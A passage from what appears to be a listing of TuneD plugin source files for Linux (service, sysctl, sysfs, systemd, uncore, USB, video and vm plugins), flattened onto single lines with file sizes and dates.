OpenRCHandler(InitHandler): def runlevel_get(self): (retcode, out) = cmd.execute(["rc-status", "-r"]) return out.strip() if retcode == 0 else None def start(self, name): cmd.execute(["rc-service", name, "start"]) def stop(self, name): cmd.execute(["rc-service", name, "stop"]) def enable(self, name, runlevel): cmd.execute(["rc-update", "add", name, runlevel]) def disable(self, name, runlevel): cmd.execute(["rc-update", "del", name, runlevel]) def is_running(self, name): (retcode, out) = cmd.execute(["rc-service", name, "status"], no_errors = [0]) return retcode == 0 def is_enabled(self, name, runlevel): (retcode, out) = cmd.execute(["rc-update", "show", runlevel]) return bool(re.search(r"\b" + re.escape(name) + r"\b", out)) class SystemdHandler(InitHandler): # runlevel not used def runlevel_get(self): return "" def start(self, name): cmd.execute(["systemctl", "restart", name]) def stop(self, name): cmd.execute(["systemctl", "stop", name]) def enable(self, name, runlevel): cmd.execute(["systemctl", "enable", name]) def disable(self, name, runlevel): cmd.execute(["systemctl", "disable", name]) def is_running(self, name): (retcode, out) = cmd.execute(["systemctl", "is-active", name], no_errors = [0]) return retcode == 0 def is_enabled(self, name, runlevel): (retcode, out) = cmd.execute(["systemctl", "is-enabled", name], no_errors = [0]) status = out.strip() return True if status == "enabled" else False if status =="disabled" else None def cfg_install(self, name, cfg_file): log.info("installing service configuration overlay file '%s' for service '%s'" % (cfg_file, name)) if not os.path.exists(cfg_file): log.error("Unable to find service configuration '%s'" % cfg_file) return dirpath = consts.SERVICE_SYSTEMD_CFG_PATH % name try: os.makedirs(dirpath, consts.DEF_SERVICE_CFG_DIR_MODE, exist_ok=True) except OSError as e: log.error("Unable to create directory '%s': %s" % (dirpath, e)) return cmd.copy(cfg_file, dirpath) self.daemon_reload() def cfg_uninstall(self, name, cfg_file): log.info("uninstalling service configuration overlay file '%s' for service '%s'" % (cfg_file, name)) dirpath = consts.SERVICE_SYSTEMD_CFG_PATH % name path = "%s/%s" % (dirpath, os.path.basename(cfg_file)) cmd.unlink(path) self.daemon_reload() # remove the service dir if empty, do not check for errors try: os.rmdir(dirpath) except (FileNotFoundError, OSError): pass def cfg_verify(self, name, cfg_file): if cfg_file is None: return None path = "%s/%s" % (consts.SERVICE_SYSTEMD_CFG_PATH % name, os.path.basename(cfg_file)) if not os.path.exists(cfg_file): log.error("Unable to find service '%s' configuration '%s'" % (name, cfg_file)) return False if not os.path.exists(path): log.error("Service '%s' configuration not installed in '%s'" % (name, path)) return False sha256sum1 = cmd.sha256sum(cfg_file) sha256sum2 = cmd.sha256sum(path) return sha256sum1 == sha256sum2 class ServicePlugin(base.Plugin): """ Plug-in for handling sysvinit, sysv-rc, openrc and systemd services. The syntax is as follows: [subs="quotes"] ---- [service] service.__service_name__=__commands__[,file:__file__] ---- Supported service-handling `_commands_` are `start`, `stop`, `enable` and `disable`. The optional `file:__file__` directive installs an overlay configuration file `__file__`. Multiple commands must be comma (`,`) or semicolon (`;`) separated. If the directives conflict, the last one is used. The service plugin supports configuration overlays only for systemd. In other init systems, this directive is ignored. The configuration overlay files are copied to `/etc/systemd/system/__service_name__.service.d/` directories. Upon profile unloading, the directory is removed if it is empty. With systemd, the `start` command is implemented by `restart` in order to allow loading of the service configuration file overlay. NOTE: With non-systemd init systems, the plug-in operates on the current runlevel only. .Start and enable the `sendmail` service with an overlay file ==== ---- [service] service.sendmail=start,enable,file:${i:PROFILE_DIR}/tuned-sendmail.conf ---- The internal variable `${i:PROFILE_DIR}` points to the directory from which the profile is loaded. ==== """ def __init__(self, args, kwargs): super(ServicePlugin, self).__init__(args, *kwargs) self._has_dynamic_options = True self._init_handler = self._detect_init_system() def _check_cmd(self, command): (retcode, out) = cmd.execute(command, no_errors = [0]) return retcode == 0 def _detect_init_system(self): if self._check_cmd(["systemctl", "status"]): log.debug("detected systemd") return SystemdHandler() elif self._check_cmd(["chkconfig"]): log.debug("detected generic sysvinit") return SysVHandler() elif self._check_cmd(["update-rc.d", "-h"]): log.debug("detected sysv-rc") return SysVRCHandler() elif self._check_cmd(["rc-update", "-h"]): log.debug("detected openrc") return OpenRCHandler() else: raise exceptions.NotSupportedPluginException("Unable to detect your init system, disabling the plugin.") def _parse_service_options(self, name, val): l = re.split(r"\s[,;]\s*", val) service = Service() for i in l: if i == "enable": service.enable = True elif i == "disable": service.enable = False elif i == "start": service.start = True elif i == "stop": service.start = False elif i[:5] == "file:": service.cfg_file = i[5:] else: log.error("service '%s': invalid service option: '%s'" % (name, i)) return service def _instance_init(self, instance): instance._has_dynamic_tuning = False instance._has_static_tuning = True self._services = collections.OrderedDict([(option[8:], self._parse_service_options(option[8:], self._variables.expand(value))) for option, value in instance.options.items() if option[:8] == "service." and len(option) > 8]) instance._services_original = {} def _instance_cleanup(self, instance): pass def _process_service(self, name, start, enable, runlevel): if start: self._init_handler.start(name) elif start is not None: self._init_handler.stop(name) if enable: self._init_handler.enable(name, runlevel) elif enable is not None: self._init_handler.disable(name, runlevel) def _instance_apply_static(self, instance): runlevel = self._init_handler.runlevel_get() if runlevel is None: log.error("Cannot detect runlevel") return for service in self._services.items(): is_enabled = self._init_handler.is_enabled(service[0], runlevel) is_running = self._init_handler.is_running(service[0]) instance._services_original[service[0]] = Service(is_running, is_enabled, service[1].cfg_file, runlevel) if service[1].cfg_file: self._init_handler.cfg_install(service[0], service[1].cfg_file) self._process_service(service[0], service[1].start, service[1].enable, runlevel) def _instance_verify_static(self, instance, ignore_missing, devices): runlevel = self._init_handler.runlevel_get() if runlevel is None: log.error(consts.STR_VERIFY_PROFILE_FAIL % "cannot detect runlevel") return False ret = True for service in self._services.items(): ret_cfg_verify = self._init_handler.cfg_verify(service[0], service[1].cfg_file) if ret_cfg_verify: log.info(consts.STR_VERIFY_PROFILE_OK % "service '%s' configuration '%s' matches" % (service[0], service[1].cfg_file)) elif ret_cfg_verify is not None: log.error(consts.STR_VERIFY_PROFILE_FAIL % "service '%s' configuration '%s' differs" % (service[0], service[1].cfg_file)) ret = False else: log.info(consts.STR_VERIFY_PROFILE_VALUE_MISSING % "service '%s' configuration '%s'" % (service[0], service[1].cfg_file)) is_enabled = self._init_handler.is_enabled(service[0], runlevel) is_running = self._init_handler.is_running(service[0]) if self._verify_value("%s running" % service[0], service[1].start, is_running, ignore_missing) is False: ret = False if self._verify_value("%s enabled" % service[0], service[1].enable, is_enabled, ignore_missing) is False: ret = False return ret def _instance_unapply_static(self, instance, rollback = consts.ROLLBACK_SOFT): for name, value in list(instance._services_original.items()): if value.cfg_file: self._init_handler.cfg_uninstall(name, value.cfg_file) self._process_service(name, value.start, value.enable, value.runlevel)	10.45 KB	2025-08-24 21:48
📄 plugin_sysctl.py import re from . import base from .decorators import * import tuned.logs from subprocess import * from tuned.utils.commands import commands import tuned.consts as consts import errno import os log = tuned.logs.get() DEPRECATED_SYSCTL_OPTIONS = [ "base_reachable_time", "retrans_time" ] SYSCTL_CONFIG_DIRS = [ "/run/sysctl.d", "/etc/sysctl.d" ] class SysctlPlugin(base.Plugin): """ Sets various kernel parameters at runtime. This plug-in is used for applying custom `sysctl` settings and should only be used to change system settings that are not covered by other TuneD plug-ins. If the settings are covered by other TuneD plug-ins, use those plug-ins instead. The syntax for this plug-in is `_key_=_value_`, where `_key_` is the same as the key name provided by the `sysctl` utility. .Adjusting the kernel runtime kernel.sched_min_granularity_ns value ==== ---- [sysctl] kernel.sched_min_granularity_ns=3000000 ---- ==== """ def __init__(self, args, kwargs): super(SysctlPlugin, self).__init__(args, **kwargs) self._has_dynamic_options = True self._cmd = commands() def _instance_init(self, instance): instance._has_dynamic_tuning = False instance._has_static_tuning = True # FIXME: do we want to do this here? # recover original values in case of crash storage_key = self._storage_key(instance.name) instance._sysctl_original = self._storage.get(storage_key, {}) if len(instance._sysctl_original) > 0: log.info("recovering old sysctl settings from previous run") self._instance_unapply_static(instance) instance._sysctl_original = {} self._storage.unset(storage_key) instance._sysctl = instance.options def _instance_cleanup(self, instance): storage_key = self._storage_key(instance.name) self._storage.unset(storage_key) def _instance_apply_static(self, instance): for option, value in list(instance._sysctl.items()): original_value = self._read_sysctl(option) if original_value is None: log.error("sysctl option %s will not be set, failed to read the original value." % option) else: new_value = self._variables.expand( self._cmd.unquote(value)) new_value = self._process_assignment_modifiers( new_value, original_value) if new_value is not None: instance._sysctl_original[option] = original_value self._write_sysctl(option, new_value) storage_key = self._storage_key(instance.name) self._storage.set(storage_key, instance._sysctl_original) if self._global_cfg.get_bool(consts.CFG_REAPPLY_SYSCTL, consts.CFG_DEF_REAPPLY_SYSCTL): log.info("reapplying system sysctl") self._apply_system_sysctl(instance._sysctl) def _instance_verify_static(self, instance, ignore_missing, devices): ret = True # override, so always skip missing ignore_missing = True for option, value in list(instance._sysctl.items()): curr_val = self._read_sysctl(option) value = self._process_assignment_modifiers(self._variables.expand(value), curr_val) if value is not None: if self._verify_value(option, self._cmd.remove_ws(value), self._cmd.remove_ws(curr_val), ignore_missing) == False: ret = False return ret def _instance_unapply_static(self, instance, rollback = consts.ROLLBACK_SOFT): for option, value in list(instance._sysctl_original.items()): self._write_sysctl(option, value) def _apply_system_sysctl(self, instance_sysctl): files = {} for d in SYSCTL_CONFIG_DIRS: try: flist = os.listdir(d) except OSError: continue for fname in flist: if not fname.endswith(".conf"): continue if fname not in files: files[fname] = d for fname in sorted(files.keys()): d = files[fname] path = "%s/%s" % (d, fname) self._apply_sysctl_config_file(path, instance_sysctl) self._apply_sysctl_config_file("/etc/sysctl.conf", instance_sysctl) def _apply_sysctl_config_file(self, path, instance_sysctl): log.debug("Applying sysctl settings from file %s" % path) try: with open(path, "r") as f: for lineno, line in enumerate(f, 1): self._apply_sysctl_config_line(path, lineno, line, instance_sysctl) log.debug("Finished applying sysctl settings from file %s" % path) except (OSError, IOError) as e: if e.errno != errno.ENOENT: log.error("Error reading sysctl settings from file %s: %s" % (path, str(e))) def _apply_sysctl_config_line(self, path, lineno, line, instance_sysctl): line = line.strip() if len(line) == 0 or line[0] == "#" or line[0] == ";": return tmp = line.split("=", 1) if len(tmp) != 2: log.error("Syntax error in file %s, line %d" % (path, lineno)) return option, value = tmp option = option.strip() if len(option) == 0: log.error("Syntax error in file %s, line %d" % (path, lineno)) return value = value.strip() if option in instance_sysctl: instance_value = self._variables.expand(instance_sysctl[option]) if instance_value != value: log.info("Overriding sysctl parameter '%s' from '%s' to '%s'" % (option, instance_value, value)) self._write_sysctl(option, value, ignore_missing = True) def _get_sysctl_path(self, option): # The sysctl name in sysctl tool and in /proc/sys differs. # All dots (.) in sysctl name are represented by /proc/sys # directories and all slashes in the name (/) are converted # to dots (.) in the /proc/sys filenames. return "/proc/sys/%s" % self._cmd.tr(option, "./", "/.") def _read_sysctl(self, option): path = self._get_sysctl_path(option) content = self._cmd.read_file(path, err_ret=None) if content is None: return None content = content.strip() if len(content.split("\n")) > 1: log.error("Failed to read sysctl parameter '%s', multi-line values are unsupported" % option) return None return content def _write_sysctl(self, option, value, ignore_missing = False): path = self._get_sysctl_path(option) if os.path.basename(path) in DEPRECATED_SYSCTL_OPTIONS: log.error("Refusing to set deprecated sysctl option %s" % option) return False return self._cmd.write_to_file(path, value, no_error=[errno.ENOENT] if ignore_missing else False, ignore_same=True)	6.01 KB	2025-08-24 21:48
📄 plugin_sysfs.py from . import base import glob import re import os.path from .decorators import * import tuned.logs import tuned.consts as consts from subprocess import * from tuned.utils.commands import commands log = tuned.logs.get() class SysfsPlugin(base.Plugin): """ Sets various `sysfs` settings specified by the plug-in options. The syntax is `_name_=_value_`, where `_name_` is the `sysfs` path to use and `_value_` is the value to write. The `sysfs` path supports the shell-style wildcard characters (see `man 7 glob` for additional detail). Use this plugin in case you need to change some settings that are not covered by other plug-ins. Prefer specific plug-ins if they cover the required settings. .Ignore corrected errors and associated scans that cause latency spikes ==== ---- [sysfs] /sys/devices/system/machinecheck/machinecheck/ignore_ce=1 ---- ==== """ # TODO: resolve possible conflicts with sysctl settings from other plugins def __init__(self, args, *kwargs): super(SysfsPlugin, self).__init__(args, *kwargs) self._has_dynamic_options = True self._cmd = commands() def _instance_init(self, instance): instance._has_dynamic_tuning = False instance._has_static_tuning = True instance._sysfs = dict([(os.path.normpath(key_value[0]), key_value[1]) for key_value in list(instance.options.items())]) instance._sysfs_original = {} def _instance_cleanup(self, instance): pass def _instance_apply_static(self, instance): for key, value in list(instance._sysfs.items()): v = self._variables.expand(value) for f in glob.iglob(key): if self._check_sysfs(f): instance._sysfs_original[f] = self._read_sysfs(f) self._write_sysfs(f, v) else: log.error("rejecting write to '%s' (not inside /sys)" % f) def _instance_verify_static(self, instance, ignore_missing, devices): ret = True for key, value in list(instance._sysfs.items()): v = self._variables.expand(value) for f in glob.iglob(key): if self._check_sysfs(f): curr_val = self._read_sysfs(f) if self._verify_value(f, v, curr_val, ignore_missing) == False: ret = False return ret def _instance_unapply_static(self, instance, rollback = consts.ROLLBACK_SOFT): for key, value in list(instance._sysfs_original.items()): self._write_sysfs(key, value) def _check_sysfs(self, sysfs_file): return re.match(r"^/sys/.", sysfs_file) def _read_sysfs(self, sysfs_file): data = self._cmd.read_file(sysfs_file).strip() if len(data) > 0: return self._cmd.get_active_option(data, False) else: return None def _write_sysfs(self, sysfs_file, value): return self._cmd.write_to_file(sysfs_file, value, ignore_same=True)	2.63 KB	2025-08-24 21:48
📄 plugin_systemd.py from . import base from .decorators import * import tuned.logs from . import exceptions from tuned.utils.commands import commands import tuned.consts as consts import os import re log = tuned.logs.get() class SystemdPlugin(base.Plugin): """ Plug-in for tuning systemd options. The [option]`cpu_affinity` option allows setting CPUAffinity in `/etc/systemd/system.conf`. This configures the CPU affinity for the service manager as well as the default CPU affinity for all forked off processes. The option takes a comma-separated list of CPUs with optional CPU ranges specified by the minus sign (`-`). .Set the CPUAffinity for `systemd` to `0 1 2 3` ==== ---- [systemd] cpu_affinity=0-3 ---- ==== NOTE: These tunings are unloaded only on profile change followed by a reboot. """ def __init__(self, args, kwargs): if not os.path.isfile(consts.SYSTEMD_SYSTEM_CONF_FILE): raise exceptions.NotSupportedPluginException("Required systemd '%s' configuration file not found, disabling plugin." % consts.SYSTEMD_SYSTEM_CONF_FILE) super(SystemdPlugin, self).__init__(args, *kwargs) self._cmd = commands() def _instance_init(self, instance): instance._has_dynamic_tuning = False instance._has_static_tuning = True def _instance_cleanup(self, instance): pass @classmethod def _get_config_options(cls): return { "cpu_affinity": None, } def _get_keyval(self, conf, key): if conf is not None: mo = re.search(r"^\s" + key + r"\s=\s(.)$", conf, flags = re.MULTILINE) if mo is not None and mo.lastindex == 1: return mo.group(1) return None # add/replace key with the value def _add_keyval(self, conf, key, val): (conf_new, nsubs) = re.subn(r"^(\s" + key + r"\s=).$", r"\g<1>" + str(val), conf, flags = re.MULTILINE) if nsubs < 1: try: if conf[-1] != "\n": conf += "\n" except IndexError: pass conf += key + "=" + str(val) + "\n" return conf return conf_new def _del_key(self, conf, key): return re.sub(r"^\s" + key + r"\s=.*\n", "", conf, flags = re.MULTILINE) def _read_systemd_system_conf(self): systemd_system_conf = self._cmd.read_file(consts.SYSTEMD_SYSTEM_CONF_FILE, err_ret = None) if systemd_system_conf is None: log.error("error reading systemd configuration file") return None return systemd_system_conf def _write_systemd_system_conf(self, conf): tmpfile = consts.SYSTEMD_SYSTEM_CONF_FILE + consts.TMP_FILE_SUFFIX if not self._cmd.write_to_file(tmpfile, conf): log.error("error writing systemd configuration file") self._cmd.unlink(tmpfile, no_error = True) return False # Atomic replace, this doesn't work on Windows (AFAIK there is no way on Windows how to do this # atomically), but it's unlikely this code will run there if not self._cmd.rename(tmpfile, consts.SYSTEMD_SYSTEM_CONF_FILE): log.error("error replacing systemd configuration file '%s'" % consts.SYSTEMD_SYSTEM_CONF_FILE) self._cmd.unlink(tmpfile, no_error = True) return False return True def _get_storage_filename(self): return os.path.join(consts.PERSISTENT_STORAGE_DIR, self.name) def _remove_systemd_tuning(self): conf = self._read_systemd_system_conf() if (conf is not None): fname = self._get_storage_filename() cpu_affinity_saved = self._cmd.read_file(fname, err_ret = None, no_error = True) self._cmd.unlink(fname) if cpu_affinity_saved is None: conf = self._del_key(conf, consts.SYSTEMD_CPUAFFINITY_VAR) else: conf = self._add_keyval(conf, consts.SYSTEMD_CPUAFFINITY_VAR, cpu_affinity_saved) self._write_systemd_system_conf(conf) def _instance_unapply_static(self, instance, rollback = consts.ROLLBACK_SOFT): if rollback == consts.ROLLBACK_FULL: log.info("removing '%s' systemd tuning previously added by TuneD" % consts.SYSTEMD_CPUAFFINITY_VAR) self._remove_systemd_tuning() log.console("you may need to manualy run 'dracut -f' to update the systemd configuration in initrd image") # convert cpulist from systemd syntax to TuneD syntax and unpack it def _cpulist_convert_unpack(self, cpulist): if cpulist is None: return "" return " ".join(str(v) for v in self._cmd.cpulist_unpack(re.sub(r"\s+", r",", re.sub(r",\s+", r",", cpulist)))) @command_custom("cpu_affinity", per_device = False) def _cmdline(self, enabling, value, verify, ignore_missing, instance): conf_affinity = None conf_affinity_unpacked = None v = self._cmd.unescape(self._variables.expand(self._cmd.unquote(value))) v_unpacked = " ".join(str(v) for v in self._cmd.cpulist_unpack(v)) conf = self._read_systemd_system_conf() if conf is not None: conf_affinity = self._get_keyval(conf, consts.SYSTEMD_CPUAFFINITY_VAR) conf_affinity_unpacked = self._cpulist_convert_unpack(conf_affinity) if verify: return self._verify_value("cpu_affinity", v_unpacked, conf_affinity_unpacked, ignore_missing) if enabling: fname = self._get_storage_filename() cpu_affinity_saved = self._cmd.read_file(fname, err_ret = None, no_error = True) if conf_affinity is not None and cpu_affinity_saved is None and v_unpacked != conf_affinity_unpacked: self._cmd.write_to_file(fname, conf_affinity, makedir = True) log.info("setting '%s' to '%s' in the '%s'" % (consts.SYSTEMD_CPUAFFINITY_VAR, v_unpacked, consts.SYSTEMD_SYSTEM_CONF_FILE)) self._write_systemd_system_conf(self._add_keyval(conf, consts.SYSTEMD_CPUAFFINITY_VAR, v_unpacked)) return True return None	5.32 KB	2025-08-24 21:48
📄 plugin_uncore.py from . import hotplug from .decorators import * import tuned.logs from tuned.utils.commands import commands import os import fnmatch log = tuned.logs.get() cmd = commands() SYSFS_DIR = "/sys/devices/system/cpu/intel_uncore_frequency/" IS_MIN = 0 IS_MAX = 1 class UncorePlugin(hotplug.Plugin): """ An Intel-specific plug-in for limiting the maximum and minimum uncore frequency. The options [option]`max_freq_khz`, [option]`min_freq_khz` correspond to `sysfs` files exposed by Intel uncore frequency driver. Their values can be specified in kHz or as a percentage of their configurable range. .Limiting maximum uncore frequency ==== ---- [uncore10] type=uncore devices=uncore10 max_freq_khz=4000000 [uncore_all] type=uncore max_freq_khz=90% ---- Using this options TuneD will limit maximum frequency of all uncore units on the Intel system to 90% of the allowable range. Except uncore10 which maximum frequency limit will be set to 4 GHz. ==== """ def _init_devices(self): self._devices_supported = True self._assigned_devices = set() self._free_devices = set() self._is_tpmi = False try: devices = os.listdir(SYSFS_DIR) except OSError: return # For new TPMI interface use only uncore devices tpmi_devices = fnmatch.filter(devices, 'uncore') if len(tpmi_devices) > 0: self._is_tpmi = True # Not used at present but can be usefull in future devices = tpmi_devices for d in devices: self._free_devices.add(d) log.debug("devices: %s", str(self._free_devices)) def _instance_init(self, instance): instance._has_static_tuning = True instance._has_dynamic_tuning = False def _instance_cleanup(self, instance): pass def _get(self, dev_dir, file): sysfs_file = SYSFS_DIR + dev_dir + "/" + file value = cmd.read_file(sysfs_file) if len(value) > 0: return int(value) return None def _set(self, dev_dir, file, value): sysfs_file = SYSFS_DIR + dev_dir + "/" + file if cmd.write_to_file(sysfs_file, "%u" % value): return value return None def _get_all(self, device): try: initial_max_freq_khz = self._get(device, "initial_max_freq_khz") initial_min_freq_khz = self._get(device, "initial_min_freq_khz") max_freq_khz = self._get(device, "max_freq_khz") min_freq_khz = self._get(device, "min_freq_khz") except (OSError, IOError): log.error("fail to read uncore frequency values") return None return (initial_max_freq_khz, initial_min_freq_khz, max_freq_khz, min_freq_khz) @classmethod def _get_config_options(cls): return { "max_freq_khz": None, "min_freq_khz": None, } def _validate_khz_value(self, device, min_or_max, value): try: freq_khz = int(value) except ValueError: log.error("value '%s' is not integer" % value) return None values = self._get_all(device) if values is None: return None (initial_max_freq_khz, initial_min_freq_khz, max_freq_khz, min_freq_khz) = values if min_or_max == IS_MAX: if freq_khz < min_freq_khz: log.error("%s: max_freq_khz %d value below min_freq_khz %d" % (device, freq_khz, min_freq_khz)) return None if freq_khz > initial_max_freq_khz: log.info("%s: max_freq_khz %d value above initial_max_freq_khz - capped to %d" % (device, freq_khz, initial_max_freq_khz)) freq_khz = initial_max_freq_khz elif min_or_max == IS_MIN: if freq_khz > max_freq_khz: log.error("%s: min_freq_khz %d value above max_freq_khz %d" % (device, freq_khz, max_freq_khz)) return None if freq_khz < initial_min_freq_khz: log.info("%s: min_freq_khz %d value below initial_max_freq_khz - capped to %d" % (device, freq_khz, initial_min_freq_khz)) freq_khz = initial_min_freq_khz else: return None return freq_khz def _validate_percent_value(self, value): try: pct = int(value) except ValueError: log.error("value '%s' is not integer" % value) return None if pct < 0 or pct > 100: log.error("percent value '%s' is not within [0..100] range" % value) return None return pct def _validate_value(self, device, min_or_max, value): if isinstance(value, str) and value[-1] == "%": pct = self._validate_percent_value(value.rstrip("%")) if pct is None: return None values = self._get_all(device) if values is None: return None (initial_max_freq_khz, initial_min_freq_khz, _, _) = values khz = initial_min_freq_khz + int(pct (initial_max_freq_khz - initial_min_freq_khz) / 100) else: khz = value return self._validate_khz_value(device, min_or_max, khz) @command_set("max_freq_khz", per_device = True) def _set_max_freq_khz(self, value, device, instance, sim, remove): max_freq_khz = self._validate_value(device, IS_MAX, value) if max_freq_khz is None: return None if sim: return max_freq_khz log.debug("%s: set max_freq_khz %d" % (device, max_freq_khz)) return self._set(device, "max_freq_khz", max_freq_khz) @command_get("max_freq_khz") def _get_max_freq_khz(self, device, instance, ignore_missing=False): if ignore_missing and not os.path.isdir(SYSFS_DIR): return None try: max_freq_khz = self._get(device, "max_freq_khz") except (OSError, IOError): log.error("fail to read uncore frequency values") return None log.debug("%s: get max_freq_khz %d" % (device, max_freq_khz)) return max_freq_khz @command_set("min_freq_khz", per_device = True) def _set_min_freq_khz(self, value, device, instance, sim, remove): min_freq_khz = self._validate_value(device, IS_MIN, value) if min_freq_khz is None: return None if sim: return min_freq_khz log.debug("%s: set min_freq_khz %d" % (device, min_freq_khz)) return self._set(device, "min_freq_khz", min_freq_khz) @command_get("min_freq_khz") def _get_min_freq_khz(self, device, instance, ignore_missing=False): if ignore_missing and not os.path.isdir(SYSFS_DIR): return None try: min_freq_khz = self._get(device, "min_freq_khz") except (OSError, IOError): log.error("fail to read uncore frequency values") return None log.debug("%s: get min_freq_khz %d" % (device, min_freq_khz)) return min_freq_khz	5.97 KB	2025-08-24 21:48
📄 plugin_usb.py from . import base from .decorators import * import tuned.logs from tuned.utils.commands import commands import glob import errno log = tuned.logs.get() class USBPlugin(base.Plugin): """ Sets autosuspend timeout of USB devices to the value specified by the [option]`autosuspend` option in seconds. If the [option]`devices` option is specified, the [option]`autosuspend` option applies to only the USB devices specified, otherwise it applies to all USB devices. The value `0` means that autosuspend is disabled. .Turn off USB autosuspend for USB devices `1-1` and `1-2` ==== ---- [usb] devices=1-1,1-2 autosuspend=0 ---- ==== """ def _init_devices(self): self._devices_supported = True self._free_devices = set() self._assigned_devices = set() for device in self._hardware_inventory.get_devices("usb").match_property("DEVTYPE", "usb_device"): self._free_devices.add(device.sys_name) self._cmd = commands() def _get_device_objects(self, devices): return [self._hardware_inventory.get_device("usb", x) for x in devices] @classmethod def _get_config_options(self): return { "autosuspend" : None, } def _instance_init(self, instance): instance._has_static_tuning = True instance._has_dynamic_tuning = False def _instance_cleanup(self, instance): pass def _autosuspend_sysfile(self, device): return "/sys/bus/usb/devices/%s/power/autosuspend" % device @command_set("autosuspend", per_device=True) def _set_autosuspend(self, value, device, instance, sim, remove): enable = self._option_bool(value) if enable is None: return None val = "1" if enable else "0" if not sim: sys_file = self._autosuspend_sysfile(device) self._cmd.write_to_file(sys_file, val, \ no_error = [errno.ENOENT] if remove else False) return val @command_get("autosuspend") def _get_autosuspend(self, device, instance, ignore_missing=False): sys_file = self._autosuspend_sysfile(device) return self._cmd.read_file(sys_file, no_error=ignore_missing).strip()	1.97 KB	2025-08-24 21:48
📄 plugin_video.py from . import base from .decorators import * import tuned.logs from tuned.utils.commands import commands import os import errno import re log = tuned.logs.get() class VideoPlugin(base.Plugin): """ Sets various power saving features on video cards. Radeon cards are supported. The powersave level can be specified by using the [option]`radeon_powersave` option. Supported values are: * `default` * `auto` * `low` * `mid` * `high` * `dynpm` * `dpm-battery` * `dpm-balanced` * `dpm-perfomance` For additional detail, see link:https://www.x.org/wiki/RadeonFeature/#kmspowermanagementoptions[KMS Power Management Options]. NOTE: This plug-in is experimental and the option might change in future releases. .Setting powersave level for the Radeon video card to high ==== ---- [video] radeon_powersave=high ---- ==== Mobile hardware with amdgpu driven eDP panels can be configured with the [option]`panel_power_savings` option. This accepts a value range from 0 to 4, where 4 is the highest power savings but will trade off color accuracy. """ def __init__(self, args, kwargs): super(VideoPlugin, self).__init__(args, *kwargs) def _init_devices(self): self._devices_supported = True self._free_devices = set() self._assigned_devices = set() # Add any radeon and amdgpu hardware with /any/ supported attributes present for device in self._hardware_inventory.get_devices("drm").match_sys_name("card-"): attrs = self._files(device.sys_name) for attr in attrs: if os.path.exists(attrs[attr]): self._free_devices.add(device.sys_name) self._cmd = commands() def _get_device_objects(self, devices): return [self._hardware_inventory.get_device("drm", x) for x in devices] @classmethod def _get_config_options(self): return { "radeon_powersave" : None, "panel_power_savings": None, } def _instance_init(self, instance): instance._has_dynamic_tuning = False instance._has_static_tuning = True def _instance_cleanup(self, instance): pass def _files(self, device): return { "method" : "/sys/class/drm/%s/device/power_method" % device, "profile": "/sys/class/drm/%s/device/power_profile" % device, "dpm_state": "/sys/class/drm/%s/device/power_dpm_state" % device, "panel_power_savings": "/sys/class/drm/%s/amdgpu/panel_power_savings" % device, } def apply_panel_power_saving_target(self, device, target, instance, sim=False): """Apply the target value to the panel_power_savings file if it doesn't already have it""" # if we don't have the file, we might be radeon not amdgpu if not os.path.exists(self._files(device)["panel_power_savings"]): return None # make sure the value is different (avoids unnecessary kernel modeset) current = int(self._get_panel_power_savings(device, instance)) if current == target: log.info( "panel_power_savings for %s already %s" % (device, target) ) return target # flush it out log.info("%s panel_power_savings -> %s" % (device, target)) if sim or self._cmd.write_to_file(self._files(device)["panel_power_savings"], target): return target return None @command_set("radeon_powersave", per_device=True) def _set_radeon_powersave(self, value, device, instance, sim, remove): sys_files = self._files(device) va = str(re.sub(r"(\s:\s)\|(\s+)\|(\s;\s)\|(\s,\s*)", " ", value)).split() if not os.path.exists(sys_files["method"]): if not sim: log.debug("radeon_powersave is not supported on '%s'" % device) return None for v in va: if v in ["default", "auto", "low", "mid", "high"]: if not sim: if (self._cmd.write_to_file(sys_files["method"], "profile", \ no_error = [errno.ENOENT] if remove else False) and self._cmd.write_to_file(sys_files["profile"], v, \ no_error = [errno.ENOENT] if remove else False)): return v elif v == "dynpm": if not sim: if (self._cmd.write_to_file(sys_files["method"], "dynpm", \ no_error = [errno.ENOENT] if remove else False)): return "dynpm" # new DPM profiles, recommended to use if supported elif v in ["dpm-battery", "dpm-balanced", "dpm-performance"]: if not sim: state = v[len("dpm-"):] if (self._cmd.write_to_file(sys_files["method"], "dpm", \ no_error = [errno.ENOENT] if remove else False) and self._cmd.write_to_file(sys_files["dpm_state"], state, \ no_error = [errno.ENOENT] if remove else False)): return v else: if not sim: log.warning("Invalid option for radeon_powersave.") return None return None @command_get("radeon_powersave") def _get_radeon_powersave(self, device, instance, ignore_missing = False): sys_files = self._files(device) if not os.path.exists(sys_files["method"]): log.debug("radeon_powersave is not supported on '%s'" % device) return None method = self._cmd.read_file(sys_files["method"], no_error=ignore_missing).strip() if method == "profile": return self._cmd.read_file(sys_files["profile"]).strip() elif method == "dynpm": return method elif method == "dpm": return "dpm-" + self._cmd.read_file(sys_files["dpm_state"]).strip() else: return None @command_set("panel_power_savings", per_device=True) def _set_panel_power_savings(self, value, device, instance, sim, remove): """Set the panel_power_savings value""" try: value = int(value, 10) except ValueError: log.warning("Invalid value %s for panel_power_savings" % value) return None if value in range(0, 5): return self.apply_panel_power_saving_target(device, value, instance, sim) else: log.warning("Invalid value %s for panel_power_savings" % value) return None @command_get("panel_power_savings") def _get_panel_power_savings(self, device, instance, ignore_missing=False): """Get the current panel_power_savings value""" if not os.path.exists(self._files(device)["panel_power_savings"]): log.debug("panel_power_savings is not supported on '%s'" % device) return None fname = self._files(device)["panel_power_savings"] return self._cmd.read_file(fname, no_error=ignore_missing).strip()	5.97 KB	2025-08-24 21:48
📄 plugin_vm.py from . import base from .decorators import * import tuned.logs import os import errno import struct import glob from tuned.utils.commands import commands log = tuned.logs.get() cmd = commands() class VMPlugin(base.Plugin): """ Tunes selected sysctl options in `/proc/sys/vm`, currently [option]`dirty_ratio`, [option]`dirty_background_ratio`, [option]`dirty_bytes`, and [option]`dirty_background_bytes`. See https://docs.kernel.org/admin-guide/sysctl/vm.html for detailed documentation of these options. Additionaly enables or disables transparent huge pages depending on the value of the [option]`transparent_hugepages` option. The option can have one of three possible values: `always`, `madvise` and `never`. .Disable transparent hugepages ==== ---- [vm] transparent_hugepages=never ---- ==== The [option]`transparent_hugepage.defrag` option specifies the defragmentation policy. Possible values for this option are `always`, `defer`, `defer+madvise`, `madvise` and `never`. For a detailed explanation of these values refer to link:https://www.kernel.org/doc/Documentation/vm/transhuge.txt[Transparent Hugepage Support]. """ @classmethod def _get_config_options(self): return { "transparent_hugepages" : None, "transparent_hugepage" : None, "transparent_hugepage.defrag" : None, 